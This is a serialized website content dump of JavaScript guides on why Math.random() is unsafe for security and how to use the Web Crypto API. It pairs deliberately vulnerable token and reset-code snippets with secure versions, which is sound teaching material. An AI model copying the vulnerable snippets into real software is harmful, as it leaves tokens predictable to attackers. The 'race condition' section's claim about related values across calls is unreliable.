crypto.randomBytes(32);\nconsole.log(bytes.toString('hex'));\n\n\u002F\u002F Secure random integer in range\nconst n = crypto.randomInt(1, 101); \u002F\u002F 1 to 100 inclusive\n",[143,41874,41875,41893,41897,41902,41923,41942,41946,41951],{"__ignoreMap":141},[1560,41876,41877,41879,41882,41884,41886,41888,41891],{"class":1562,"line":1563},[1560,41878,8180],{"class":1669},[1560,41880,41881],{"class":1576}," crypto",[1560,41883,8186],{"class":1669},[1560,41885,20658],{"class":1566},[1560,41887,1688],{"class":1570},[1560,41889,41890],{"class":5634},"'crypto'",[1560,41892,1744],{"class":1570},[1560,41894,41895],{"class":1562,"line":337},[1560,41896,1702],{"emptyLinePlaceholder":363},[1560,41898,41899],{"class":1562,"line":343},[1560,41900,41901],{"class":1649},"\u002F\u002F Secure random bytes\n",[1560,41903,41904,41906,41909,41911,41914,41917,41919,41921],{"class":1562,"line":365},[1560,41905,8180],{"class":1669},[1560,41907,41908],{"class":1576}," bytes",[1560,41910,8186],{"class":1669},[1560,41912,41913],{"class":1570}," crypto.",[1560,41915,41916],{"class":1566},"randomBytes",[1560,41918,1688],{"class":1570},[1560,41920,36042],{"class":1576},[1560,41922,1744],{"class":1570},[1560,41924,41925,41927,41929,41932,41934,41936,41939],{"class":1562,"line":889},[1560,41926,8211],{"class":1570},[1560,41928,8214],{"class":1566},[1560,41930,41931],{"class":1570},"(bytes.",[1560,41933,10052],{"class":1566},[1560,41935,1688],{"class":1570},[1560,41937,41938],{"class":5634},"'hex'",[1560,41940,41941],{"class":1570},"));\n",[1560,41943,41944],{"class":1562,"line":1710},[1560,41945,1702],{"emptyLinePlaceholder":363},[1560,41947,41948],{"class":1562,"line":1717},[1560,41949,41950],{"class":1649},"\u002F\u002F Secure random integer in range\n",[1560,41952,41953,41955,41958,41960,41962,41965,41967,41969,41971,41974,41976],{"class":1562,"line":1747},[1560,41954,8180],{"class":1669},[1560,41956,41957],{"class":1576}," n",[1560,41959,8186],{"class":1669},[1560,41961,41913],{"class":1570},[1560,41963,41964],{"class":1566},"randomInt",[1560,41966,1688],{"class":1570},[1560,41968,3585],{"class":1576},[1560,41970,1459],{"class":1570},[1560,41972,41973],{"class":1576},"101",[1560,41975,5171],{"class":1570},[1560,41977,41978],{"class":1649},"\u002F\u002F 1 to 100 inclusive\n",[11,41980,41982],{"id":41981},"when-to-use-each","When to Use Each",[193,41984,41985,41995],{},[196,41986,41987],{},[199,41988,41989,41991,41993],{},[202,41990,1775],{},[202,41992,6487],{},[202,41994,21086],{},[211,41996,41997,42008,42018,42028,42038,42049,42059,42069,42079,42089],{},[199,41998,41999,42002,42005],{},[216,42000,42001],{},"UI animations, delays",[216,42003,42004],{},"PRNG",[216,42006,42007],{},"No security impact",[199,42009,42010,42013,42015],{},[216,42011,42012],{},"Shuffling playlist",[216,42014,42004],{},[216,42016,42017],{},"No attacker motivation",[199,42019,42020,42023,42025],{},[216,42021,42022],{},"Dice rolls in casual games",[216,42024,42004],{},[216,42026,42027],{},"Low stakes",[199,42029,42030,42033,42035],{},[216,42031,42032],{},"Test data generation",[216,42034,42004],{},[216,42036,42037],{},"Speed matters more than security",[199,42039,42040,42043,42046],{},[216,42041,42042],{},"Password generation",[216,42044,42045],{},"CSPRNG",[216,42047,42048],{},"Predictable passwords get cracked",[199,42050,42051,42054,42056],{},[216,42052,42053],{},"Session tokens",[216,42055,42045],{},[216,42057,42058],{},"Predictable tokens enable hijacking",[199,42060,42061,42064,42066],{},[216,42062,42063],{},"Encryption keys",[216,42065,42045],{},[216,42067,42068],{},"Keys must be unguessable",[199,42070,42071,42074,42076],{},[216,42072,42073],{},"Nonces in protocols",[216,42075,42045],{},[216,42077,42078],{},"Replay attacks if predictable",[199,42080,42081,42084,42086],{},[216,42082,42083],{},"Lottery\u002Fprize draws",[216,42085,42045],{},[216,42087,42088],{},"Financial stakes",[199,42090,42091,42094,42096],{},[216,42092,42093],{},"Online gambling",[216,42095,42045],{},[216,42097,42098],{},"Regulatory requirement",[16,42100,42101,42104],{},[47,42102,42103],{},"Rule of thumb",": If knowing the random value would let an attacker cause harm, use a CSPRNG.",[11,42106,42108],{"id":42107},"practical-vulnerability-examples","Practical Vulnerability Examples",[33,42110,42112],{"id":42111},"predictable-session-tokens","Predictable Session Tokens",[135,42114,42116],{"className":1607,"code":42115,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ Vulnerable: predictable session token\nconst token = Math.random().toString(36).slice(2);\n\n\u002F\u002F ✅ Secure: unpredictable session token\nconst token = Array.from(crypto.getRandomValues(new Uint8Array(32)))\n  .map(b => b.toString(16).padStart(2, '0'))\n  .join('');\n",[143,42117,42118,42123,42156,42160,42165,42196,42233],{"__ignoreMap":141},[1560,42119,42120],{"class":1562,"line":1563},[1560,42121,42122],{"class":1649},"\u002F\u002F ❌ Vulnerable: predictable session token\n",[1560,42124,42125,42127,42130,42132,42134,42136,42139,42141,42143,42146,42148,42150,42152,42154],{"class":1562,"line":337},[1560,42126,8180],{"class":1669},[1560,42128,42129],{"class":1576}," token",[1560,42131,8186],{"class":1669},[1560,42133,9393],{"class":1570},[1560,42135,38108],{"class":1566},[1560,42137,42138],{"class":1570},"().",[1560,42140,10052],{"class":1566},[1560,42142,1688],{"class":1570},[1560,42144,42145],{"class":1576},"36",[1560,42147,9368],{"class":1570},[1560,42149,38951],{"class":1566},[1560,42151,1688],{"class":1570},[1560,42153,10099],{"class":1576},[1560,42155,1744],{"class":1570},[1560,42157,42158],{"class":1562,"line":343},[1560,42159,1702],{"emptyLinePlaceholder":363},[1560,42161,42162],{"class":1562,"line":365},[1560,42163,42164],{"class":1649},"\u002F\u002F ✅ Secure: unpredictable session token\n",[1560,42166,42167,42169,42171,42173,42175,42177,42180,42182,42184,42186,42189,42191,42193],{"class":1562,"line":889},[1560,42168,8180],{"class":1669},[1560,42170,42129],{"class":1576},[1560,42172,8186],{"class":1669},[1560,42174,23043],{"class":1570},[1560,42176,8168],{"class":1566},[1560,42178,42179],{"class":1570},"(crypto.",[1560,42181,41846],{"class":1566},[1560,42183,1688],{"class":1570},[1560,42185,20807],{"class":1669},[1560,42187,42188],{"class":1566}," Uint8Array",[1560,42190,1688],{"class":1570},[1560,42192,36042],{"class":1576},[1560,42194,42195],{"class":1570},")))\n",[1560,42197,42198,42201,42203,42205,42207,42209,42212,42214,42216,42218,42220,42223,42225,42227,42229,42231],{"class":1562,"line":1710},[1560,42199,42200],{"class":1570},"  .",[1560,42202,9371],{"class":1566},[1560,42204,1688],{"class":1570},[1560,42206,28973],{"class":2219},[1560,42208,9378],{"class":1669},[1560,42210,42211],{"class":1570}," b.",[1560,42213,10052],{"class":1566},[1560,42215,1688],{"class":1570},[1560,42217,10057],{"class":1576},[1560,42219,9368],{"class":1570},[1560,42221,42222],{"class":1566},"padStart",[1560,42224,1688],{"class":1570},[1560,42226,10099],{"class":1576},[1560,42228,1459],{"class":1570},[1560,42230,17543],{"class":5634},[1560,42232,9429],{"class":1570},[1560,42234,42235,42237,42239,42241,42243],{"class":1562,"line":1717},[1560,42236,42200],{"class":1570},[1560,42238,9459],{"class":1566},[1560,42240,1688],{"class":1570},[1560,42242,5635],{"class":5634},[1560,42244,1744],{"class":1570},[16,42246,42247,42248,42250],{},"If an attacker observes a few ",[143,42249,41774],{}," outputs, they can reconstruct the internal state and predict all future tokens — including tokens assigned to other users.",[33,42252,42254],{"id":42253},"password-reset-links","Password Reset Links",[135,42256,42258],{"className":1607,"code":42257,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ Vulnerable: guessable reset code\nconst code = Math.floor(Math.random() * 1000000);\n\n\u002F\u002F ✅ Secure: unguessable reset code\nconst code = crypto.randomInt(1000000);\n",[143,42259,42260,42265,42291,42295,42300],{"__ignoreMap":141},[1560,42261,42262],{"class":1562,"line":1563},[1560,42263,42264],{"class":1649},"\u002F\u002F ❌ Vulnerable: guessable reset code\n",[1560,42266,42267,42269,42272,42274,42276,42278,42280,42282,42284,42286,42289],{"class":1562,"line":337},[1560,42268,8180],{"class":1669},[1560,42270,42271],{"class":1576}," code",[1560,42273,8186],{"class":1669},[1560,42275,9393],{"class":1570},[1560,42277,9406],{"class":1566},[1560,42279,38105],{"class":1570},[1560,42281,38108],{"class":1566},[1560,42283,38111],{"class":1570},[1560,42285,8069],{"class":1669},[1560,42287,42288],{"class":1576}," 1000000",[1560,42290,1744],{"class":1570},[1560,42292,42293],{"class":1562,"line":343},[1560,42294,1702],{"emptyLinePlaceholder":363},[1560,42296,42297],{"class":1562,"line":365},[1560,42298,42299],{"class":1649},"\u002F\u002F ✅ Secure: unguessable reset code\n",[1560,42301,42302,42304,42306,42308,42310,42312,42314,42317],{"class":1562,"line":889},[1560,42303,8180],{"class":1669},[1560,42305,42271],{"class":1576},[1560,42307,8186],{"class":1669},[1560,42309,41913],{"class":1570},[1560,42311,41964],{"class":1566},[1560,42313,1688],{"class":1570},[1560,42315,42316],{"class":1576},"1000000",[1560,42318,1744],{"class":1570},[33,42320,42322],{"id":42321},"race-condition-in-async-random","Race Condition in Async Random",[135,42324,42326],{"className":1607,"code":42325,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ Problematic: two calls may get related values\nconst a = await crypto.getRandomValues(new Uint8Array(16));\nconst b = await crypto.getRandomValues(new Uint8Array(16));\n\n\u002F\u002F ✅ Better: get all randomness in one call\nconst both = crypto.getRandomValues(new Uint8Array(32));\nconst a = both.slice(0, 16);\nconst b = both.slice(16);\n",[143,42327,42328,42333,42360,42387,42391,42396,42421,42444],{"__ignoreMap":141},[1560,42329,42330],{"class":1562,"line":1563},[1560,42331,42332],{"class":1649},"\u002F\u002F ❌ Problematic: two calls may get related values\n",[1560,42334,42335,42337,42340,42342,42344,42346,42348,42350,42352,42354,42356,42358],{"class":1562,"line":337},[1560,42336,8180],{"class":1669},[1560,42338,42339],{"class":1576}," a",[1560,42341,8186],{"class":1669},[1560,42343,28065],{"class":1669},[1560,42345,41913],{"class":1570},[1560,42347,41846],{"class":1566},[1560,42349,1688],{"class":1570},[1560,42351,20807],{"class":1669},[1560,42353,42188],{"class":1566},[1560,42355,1688],{"class":1570},[1560,42357,10057],{"class":1576},[1560,42359,41941],{"class":1570},[1560,42361,42362,42364,42367,42369,42371,42373,42375,42377,42379,42381,42383,42385],{"class":1562,"line":343},[1560,42363,8180],{"class":1669},[1560,42365,42366],{"class":1576}," b",[1560,42368,8186],{"class":1669},[1560,42370,28065],{"class":1669},[1560,42372,41913],{"class":1570},[1560,42374,41846],{"class":1566},[1560,42376,1688],{"class":1570},[1560,42378,20807],{"class":1669},[1560,42380,42188],{"class":1566},[1560,42382,1688],{"class":1570},[1560,42384,10057],{"class":1576},[1560,42386,41941],{"class":1570},[1560,42388,42389],{"class":1562,"line":365},[1560,42390,1702],{"emptyLinePlaceholder":363},[1560,42392,42393],{"class":1562,"line":889},[1560,42394,42395],{"class":1649},"\u002F\u002F ✅ Better: get all randomness in one call\n",[1560,42397,42398,42400,42403,42405,42407,42409,42411,42413,42415,42417,42419],{"class":1562,"line":1710},[1560,42399,8180],{"class":1669},[1560,42401,42402],{"class":1576}," both",[1560,42404,8186],{"class":1669},[1560,42406,41913],{"class":1570},[1560,42408,41846],{"class":1566},[1560,42410,1688],{"class":1570},[1560,42412,20807],{"class":1669},[1560,42414,42188],{"class":1566},[1560,42416,1688],{"class":1570},[1560,42418,36042],{"class":1576},[1560,42420,41941],{"class":1570},[1560,42422,42423,42425,42427,42429,42432,42434,42436,42438,42440,42442],{"class":1562,"line":1717},[1560,42424,8180],{"class":1669},[1560,42426,42339],{"class":1576},[1560,42428,8186],{"class":1669},[1560,42430,42431],{"class":1570}," both.",[1560,42433,38951],{"class":1566},[1560,42435,1688],{"class":1570},[1560,42437,5285],{"class":1576},[1560,42439,1459],{"class":1570},[1560,42441,10057],{"class":1576},[1560,42443,1744],{"class":1570},[1560,42445,42446,42448,42450,42452,42454,42456,42458,42460],{"class":1562,"line":1747},[1560,42447,8180],{"class":1669},[1560,42449,42366],{"class":1576},[1560,42451,8186],{"class":1669},[1560,42453,42431],{"class":1570},[1560,42455,38951],{"class":1566},[1560,42457,1688],{"class":1570},[1560,42459,10057],{"class":1576},[1560,42461,1744],{"class":1570},[11,42463,26165],{"id":26164},[16,42465,42466],{},"CSPRNGs are slower because they must read from the operating system's entropy pool:",[135,42468,42470],{"className":1607,"code":42469,"language":1609,"meta":141,"style":141},"\u002F\u002F Benchmark: 1 million random numbers\n\u002F\u002F Math.random():              ~50ms\n\u002F\u002F crypto.getRandomValues():   ~200ms\n",[143,42471,42472,42477,42482],{"__ignoreMap":141},[1560,42473,42474],{"class":1562,"line":1563},[1560,42475,42476],{"class":1649},"\u002F\u002F Benchmark: 1 million random numbers\n",[1560,42478,42479],{"class":1562,"line":337},[1560,42480,42481],{"class":1649},"\u002F\u002F Math.random():              ~50ms\n",[1560,42483,42484],{"class":1562,"line":343},[1560,42485,42486],{"class":1649},"\u002F\u002F crypto.getRandomValues():   ~200ms\n",[16,42488,42489],{},"The 4–5x slowdown is the cost of security. For most applications, this is negligible — you are not generating a million tokens per second.",[11,42491,1355],{"id":1354},[41,42493,42494,42497,42502,42505,42508,42511],{},[44,42495,42496],{},"PRNGs are deterministic algorithms — same seed produces same sequence",[44,42498,42499,42501],{},[143,42500,41774],{}," is a PRNG and is never safe for security-critical randomness",[44,42503,42504],{},"CSPRNGs harvest hardware entropy and resist prediction even if state is compromised",[44,42506,42507],{},"Use CSPRNGs for passwords, tokens, keys, nonces, and anything with financial stakes",[44,42509,42510],{},"Use PRNGs for animations, shuffling, test data, and non-security contexts",[44,42512,42513],{},"The performance cost of CSPRNGs is negligible for typical web application loads",[11,42515,286],{"id":285},[16,42517,42518,42519,42523],{},"Generate secure random numbers with customizable ranges and precision using our ",[98,42520,42522],{"href":42521},"\u002Ftools\u002Frandom-number","Random Number Generator",". Choose between integer, decimal, and unique-value modes for any use case.",[11,42525,321],{"id":320},[41,42527,42528,42535],{},[44,42529,42530,42534],{},[98,42531,42533],{"href":42532},"\u002Fguides\u002Frandom-number-guide","Random Number Guide"," — how random number generators work in computing",[44,42536,42537,42541],{},[98,42538,42540],{"href":42539},"\u002Fguides\u002Frandomness-in-programming","Randomness in Programming"," — statistical properties and common distributions",[2043,42543,42544],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":42546},[42547,42548,42549,42550,42551,42556,42557,42558,42559],{"id":41629,"depth":337,"text":41630},{"id":41657,"depth":337,"text":41658},{"id":41778,"depth":337,"text":41779},{"id":41981,"depth":337,"text":41982},{"id":42107,"depth":337,"text":42108,"children":42552},[42553,42554,42555],{"id":42111,"depth":343,"text":42112},{"id":42253,"depth":343,"text":42254},{"id":42321,"depth":343,"text":42322},{"id":26164,"depth":337,"text":26165},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Understand the difference between cryptographic and pseudo-random number generators. Learn when to use each type and why Math.random() is unsafe for security.",{"keywords":42562,"immutable":363},[42563,42564],"random-number","cryptographic-vs-pseudo-random-numbers","\u002Fguides\u002Fcryptographic-vs-pseudo-random-numbers",{"title":41624,"description":42560},"guides\u002Fcryptographic-vs-pseudo-random-numbers","_s-82cunj5aBudyrw_5uN06nIMJlASv5tKXuiXzIBjU",{"id":42570,"title":42571,"body":42572,"date":2070,"description":43653,"extension":361,"meta":43654,"navigation":363,"path":43655,"readingTime":1710,"seo":43656,"stem":43657,"__hash__":43658},"guides\u002Fguides\u002Fcsprng-security-guide.md","Cryptographic Random Number Guide",{"type":8,"value":42573,"toc":43646},[42574,42583,42587,42592,42595,42624,42690,42696,42700,42706,42824,42829,42904,42914,42918,42923,43014,43020,43169,43175,43256,43263,43410,43414,43421,43527,43540,43542,43628,43637,43643],[16,42575,42576,42577,42579,42580,42582],{},"Not all random numbers are created equal. ",[143,42578,41774],{}," produces pseudorandom values suitable for animations and games, but completely unsuitable for security-sensitive operations like token generation, session IDs, or password reset links. The difference is not academic — attackers have exploited predictable random number generators to hijack accounts, bypass authentication, and extract encrypted data. This guide explains why ",[143,42581,41774],{}," fails for security and how to use the Web Crypto API correctly.",[11,42584,42586],{"id":42585},"why-mathrandom-is-unsafe","Why Math.random() Is Unsafe",[16,42588,42589,42591],{},[143,42590,41774],{}," uses a deterministic pseudorandom number generator (PRNG), typically an xorshift128+ variant. It produces a sequence that appears random but is entirely determined by its internal state. If an attacker can observe enough outputs, they can reconstruct the state and predict all future — and past — values.",[16,42593,42594],{},"The attacks are practical:",[41,42596,42597,42606,42615],{},[44,42598,42599,42602,42603,42605],{},[47,42600,42601],{},"State recovery",": Observing roughly 160 bits of ",[143,42604,41774],{}," output (about 5 consecutive values) is enough to reconstruct the internal state in V8's implementation.",[44,42607,42608,42611,42612,42614],{},[47,42609,42610],{},"Cross-tab leakage",": All tabs in the same browser process share the same PRNG state. A malicious website in one tab can observe ",[143,42613,41774],{}," calls and correlate them with token generation in another tab.",[44,42616,42617,42620,42621,42623],{},[47,42618,42619],{},"Node.js server-side",": On the server, ",[143,42622,41774],{}," state is shared across all requests. One compromised request can predict tokens for all other concurrent sessions.",[135,42625,42627],{"className":1607,"code":42626,"language":1609,"meta":141,"style":141},"\u002F\u002F UNSAFE — predictable token\nfunction generateToken() {\n  return Math.random().toString(36).slice(2)  \u002F\u002F Predictable!\n}\n\n\u002F\u002F If attacker observes output \"k0a1b2c3d\", they can\n\u002F\u002F reconstruct PRNG state and predict the next token.\n",[143,42628,42629,42634,42643,42672,42676,42680,42685],{"__ignoreMap":141},[1560,42630,42631],{"class":1562,"line":1563},[1560,42632,42633],{"class":1649},"\u002F\u002F UNSAFE — predictable token\n",[1560,42635,42636,42638,42641],{"class":1562,"line":337},[1560,42637,8648],{"class":1669},[1560,42639,42640],{"class":1566}," generateToken",[1560,42642,8654],{"class":1570},[1560,42644,42645,42647,42649,42651,42653,42655,42657,42659,42661,42663,42665,42667,42669],{"class":1562,"line":343},[1560,42646,9350],{"class":1669},[1560,42648,9393],{"class":1570},[1560,42650,38108],{"class":1566},[1560,42652,42138],{"class":1570},[1560,42654,10052],{"class":1566},[1560,42656,1688],{"class":1570},[1560,42658,42145],{"class":1576},[1560,42660,9368],{"class":1570},[1560,42662,38951],{"class":1566},[1560,42664,1688],{"class":1570},[1560,42666,10099],{"class":1576},[1560,42668,10060],{"class":1570},[1560,42670,42671],{"class":1649},"\u002F\u002F Predictable!\n",[1560,42673,42674],{"class":1562,"line":365},[1560,42675,1585],{"class":1570},[1560,42677,42678],{"class":1562,"line":889},[1560,42679,1702],{"emptyLinePlaceholder":363},[1560,42681,42682],{"class":1562,"line":1710},[1560,42683,42684],{"class":1649},"\u002F\u002F If attacker observes output \"k0a1b2c3d\", they can\n",[1560,42686,42687],{"class":1562,"line":1717},[1560,42688,42689],{"class":1649},"\u002F\u002F reconstruct PRNG state and predict the next token.\n",[16,42691,42692,42693,42695],{},"The V8 team explicitly documents that ",[143,42694,41774],{}," is not cryptographically secure. It was never designed to be — it optimizes for speed, not unpredictability.",[11,42697,42699],{"id":42698},"the-web-crypto-api","The Web Crypto API",[16,42701,42702,42703,42705],{},"The correct replacement is ",[143,42704,41808],{},", part of the Web Crypto API. It fills a typed array with cryptographically secure random values drawn from the operating system's entropy pool.",[135,42707,42709],{"className":1607,"code":42708,"language":1609,"meta":141,"style":141},"\u002F\u002F SAFER — cryptographically secure random bytes\nfunction generateSecureToken(length = 32) {\n  const bytes = new Uint8Array(length)\n  crypto.getRandomValues(bytes)\n  return Array.from(bytes, b => b.toString(16).padStart(2, '0')).join('')\n}\n\ngenerateSecureToken()  \u002F\u002F \"a3f1c8e72b4d9f0a6e5c3b8d1f7a2e4c...\"\n",[143,42710,42711,42716,42734,42749,42759,42805,42809,42813],{"__ignoreMap":141},[1560,42712,42713],{"class":1562,"line":1563},[1560,42714,42715],{"class":1649},"\u002F\u002F SAFER — cryptographically secure random bytes\n",[1560,42717,42718,42720,42723,42725,42727,42729,42732],{"class":1562,"line":337},[1560,42719,8648],{"class":1669},[1560,42721,42722],{"class":1566}," generateSecureToken",[1560,42724,1688],{"class":1570},[1560,42726,9418],{"class":2219},[1560,42728,8186],{"class":1669},[1560,42730,42731],{"class":1576}," 32",[1560,42733,9345],{"class":1570},[1560,42735,42736,42738,42740,42742,42744,42746],{"class":1562,"line":343},[1560,42737,28057],{"class":1669},[1560,42739,41908],{"class":1576},[1560,42741,8186],{"class":1669},[1560,42743,11489],{"class":1669},[1560,42745,42188],{"class":1566},[1560,42747,42748],{"class":1570},"(length)\n",[1560,42750,42751,42754,42756],{"class":1562,"line":365},[1560,42752,42753],{"class":1570},"  crypto.",[1560,42755,41846],{"class":1566},[1560,42757,42758],{"class":1570},"(bytes)\n",[1560,42760,42761,42763,42765,42767,42770,42772,42774,42776,42778,42780,42782,42784,42786,42788,42790,42792,42794,42797,42799,42801,42803],{"class":1562,"line":889},[1560,42762,9350],{"class":1669},[1560,42764,23043],{"class":1570},[1560,42766,8168],{"class":1566},[1560,42768,42769],{"class":1570},"(bytes, ",[1560,42771,28973],{"class":2219},[1560,42773,9378],{"class":1669},[1560,42775,42211],{"class":1570},[1560,42777,10052],{"class":1566},[1560,42779,1688],{"class":1570},[1560,42781,10057],{"class":1576},[1560,42783,9368],{"class":1570},[1560,42785,42222],{"class":1566},[1560,42787,1688],{"class":1570},[1560,42789,10099],{"class":1576},[1560,42791,1459],{"class":1570},[1560,42793,17543],{"class":5634},[1560,42795,42796],{"class":1570},")).",[1560,42798,9459],{"class":1566},[1560,42800,1688],{"class":1570},[1560,42802,5635],{"class":5634},[1560,42804,8252],{"class":1570},[1560,42806,42807],{"class":1562,"line":1710},[1560,42808,1585],{"class":1570},[1560,42810,42811],{"class":1562,"line":1717},[1560,42812,1702],{"emptyLinePlaceholder":363},[1560,42814,42815,42818,42821],{"class":1562,"line":1747},[1560,42816,42817],{"class":1566},"generateSecureToken",[1560,42819,42820],{"class":1570},"()  ",[1560,42822,42823],{"class":1649},"\u002F\u002F \"a3f1c8e72b4d9f0a6e5c3b8d1f7a2e4c...\"\n",[16,42825,42826,42827,8037],{},"Key properties of ",[143,42828,41808],{},[193,42830,42831,42841],{},[196,42832,42833],{},[199,42834,42835,42837,42839],{},[202,42836,14482],{},[202,42838,41774],{},[202,42840,41808],{},[211,42842,42843,42852,42862,42873,42884,42895],{},[199,42844,42845,42848,42850],{},[216,42846,42847],{},"Cryptographically secure",[216,42849,6117],{},[216,42851,3057],{},[199,42853,42854,42856,42859],{},[216,42855,819],{},[216,42857,42858],{},"Very fast",[216,42860,42861],{},"Fast (system call overhead)",[199,42863,42864,42867,42870],{},[216,42865,42866],{},"Output range",[216,42868,42869],{},"[0, 1) float",[216,42871,42872],{},"0–255 per byte",[199,42874,42875,42878,42881],{},[216,42876,42877],{},"Deterministic",[216,42879,42880],{},"Yes (PRNG)",[216,42882,42883],{},"No (OS entropy)",[199,42885,42886,42889,42892],{},[216,42887,42888],{},"Cross-origin isolation",[216,42890,42891],{},"Shared state",[216,42893,42894],{},"Per-call from OS pool",[199,42896,42897,42900,42902],{},[216,42898,42899],{},"Available in workers",[216,42901,3057],{},[216,42903,3057],{},[16,42905,42906,42907,42910,42911,9368],{},"The function is available in all modern browsers and Node.js (as ",[143,42908,42909],{},"crypto.webcrypto.getRandomValues()"," or the older ",[143,42912,42913],{},"require('crypto').randomBytes()",[11,42915,42917],{"id":42916},"common-token-generation-patterns","Common Token Generation Patterns",[16,42919,42920,42922],{},[47,42921,42053],{}," — 256 bits minimum:",[135,42924,42926],{"className":1607,"code":42925,"language":1609,"meta":141,"style":141},"function generateSessionToken() {\n  const bytes = new Uint8Array(32)  \u002F\u002F 256 bits\n  crypto.getRandomValues(bytes)\n  return Array.from(bytes, b => b.toString(16).padStart(2, '0')).join('')\n}\n",[143,42927,42928,42937,42958,42966,43010],{"__ignoreMap":141},[1560,42929,42930,42932,42935],{"class":1562,"line":1563},[1560,42931,8648],{"class":1669},[1560,42933,42934],{"class":1566}," generateSessionToken",[1560,42936,8654],{"class":1570},[1560,42938,42939,42941,42943,42945,42947,42949,42951,42953,42955],{"class":1562,"line":337},[1560,42940,28057],{"class":1669},[1560,42942,41908],{"class":1576},[1560,42944,8186],{"class":1669},[1560,42946,11489],{"class":1669},[1560,42948,42188],{"class":1566},[1560,42950,1688],{"class":1570},[1560,42952,36042],{"class":1576},[1560,42954,10060],{"class":1570},[1560,42956,42957],{"class":1649},"\u002F\u002F 256 bits\n",[1560,42959,42960,42962,42964],{"class":1562,"line":343},[1560,42961,42753],{"class":1570},[1560,42963,41846],{"class":1566},[1560,42965,42758],{"class":1570},[1560,42967,42968,42970,42972,42974,42976,42978,42980,42982,42984,42986,42988,42990,42992,42994,42996,42998,43000,43002,43004,43006,43008],{"class":1562,"line":365},[1560,42969,9350],{"class":1669},[1560,42971,23043],{"class":1570},[1560,42973,8168],{"class":1566},[1560,42975,42769],{"class":1570},[1560,42977,28973],{"class":2219},[1560,42979,9378],{"class":1669},[1560,42981,42211],{"class":1570},[1560,42983,10052],{"class":1566},[1560,42985,1688],{"class":1570},[1560,42987,10057],{"class":1576},[1560,42989,9368],{"class":1570},[1560,42991,42222],{"class":1566},[1560,42993,1688],{"class":1570},[1560,42995,10099],{"class":1576},[1560,42997,1459],{"class":1570},[1560,42999,17543],{"class":5634},[1560,43001,42796],{"class":1570},[1560,43003,9459],{"class":1566},[1560,43005,1688],{"class":1570},[1560,43007,5635],{"class":5634},[1560,43009,8252],{"class":1570},[1560,43011,43012],{"class":1562,"line":889},[1560,43013,1585],{"class":1570},[16,43015,43016,43019],{},[47,43017,43018],{},"URL-safe tokens"," — base64url encoding avoids special characters:",[135,43021,43023],{"className":1607,"code":43022,"language":1609,"meta":141,"style":141},"function generateUrlSafeToken(length = 24) {\n  const bytes = new Uint8Array(length)\n  crypto.getRandomValues(bytes)\n  const binary = String.fromCharCode(...bytes)\n  return btoa(binary)\n    .replace(\u002F\\+\u002Fg, '-')\n    .replace(\u002F\\\u002F\u002Fg, '_')\n    .replace(\u002F=+$\u002F, '')\n}\n",[143,43024,43025,43042,43056,43064,43084,43094,43118,43142,43165],{"__ignoreMap":141},[1560,43026,43027,43029,43032,43034,43036,43038,43040],{"class":1562,"line":1563},[1560,43028,8648],{"class":1669},[1560,43030,43031],{"class":1566}," generateUrlSafeToken",[1560,43033,1688],{"class":1570},[1560,43035,9418],{"class":2219},[1560,43037,8186],{"class":1669},[1560,43039,18193],{"class":1576},[1560,43041,9345],{"class":1570},[1560,43043,43044,43046,43048,43050,43052,43054],{"class":1562,"line":337},[1560,43045,28057],{"class":1669},[1560,43047,41908],{"class":1576},[1560,43049,8186],{"class":1669},[1560,43051,11489],{"class":1669},[1560,43053,42188],{"class":1566},[1560,43055,42748],{"class":1570},[1560,43057,43058,43060,43062],{"class":1562,"line":343},[1560,43059,42753],{"class":1570},[1560,43061,41846],{"class":1566},[1560,43063,42758],{"class":1570},[1560,43065,43066,43068,43071,43073,43075,43077,43079,43081],{"class":1562,"line":365},[1560,43067,28057],{"class":1669},[1560,43069,43070],{"class":1576}," binary",[1560,43072,8186],{"class":1669},[1560,43074,22779],{"class":1570},[1560,43076,22782],{"class":1566},[1560,43078,1688],{"class":1570},[1560,43080,24388],{"class":1669},[1560,43082,43083],{"class":1570},"bytes)\n",[1560,43085,43086,43088,43091],{"class":1562,"line":889},[1560,43087,9350],{"class":1669},[1560,43089,43090],{"class":1566}," 